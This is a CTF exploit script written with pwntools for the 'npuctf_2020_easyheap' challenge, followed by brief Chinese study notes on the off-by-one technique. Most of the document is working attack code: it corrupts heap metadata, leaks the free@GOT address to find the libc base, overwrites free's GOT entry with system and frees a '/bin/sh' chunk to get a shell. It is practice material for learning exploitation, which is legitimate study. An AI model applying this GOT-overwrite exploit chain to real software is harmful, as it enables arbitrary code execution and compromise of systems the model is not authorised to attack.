# p = process(['./npuctf_2020_easyheap'],env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libc-2.27.so")
atoi_got = elf.got['atoi']
free_got = elf.got['free']

def cmd(choice):
p.recvuntil("Your choice :")
p.sendline(str(choice))

def create(size,content):
cmd(1)
p.recvuntil("only) :")
p.sendline(str(size))
p.recvuntil("Content:")
p.sendline(content)

def edit(idx,content):
cmd(2)
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Content:")
p.sendline(content)

def show(idx):
cmd(3)
p.recvuntil("Index :")
p.sendline(str(idx))

def delete(idx):
cmd(4)
p.recvuntil("Index :")
p.sendline(str(idx))

create(0x18,"aaaa")
create(0x18,"aaaa")

payload = '/bin/sh\x00'
payload += p64(0) * 2
payload += p64(0x41)
edit(0,payload)

delete(1)
payload = 'a' * 0x20 + p64(0x38) + p64(free_got)
create(0x38,payload)
show(1)
free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')

log.success(hex(free_addr))
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
log.success(hex(libc_base))
log.success(hex(system))

edit(1,p64(system))
# gdb.attach(p)
# pause()
delete(0)
p.interactive()

题型

特点:

  1. 可以修改got表
  2. malloc两次:一个node,一个content

方法:

  1. 利用node和本体互换 => 泄露libc
  2. 修改free_got=>system

off by one题挺多,多练习,this is the first。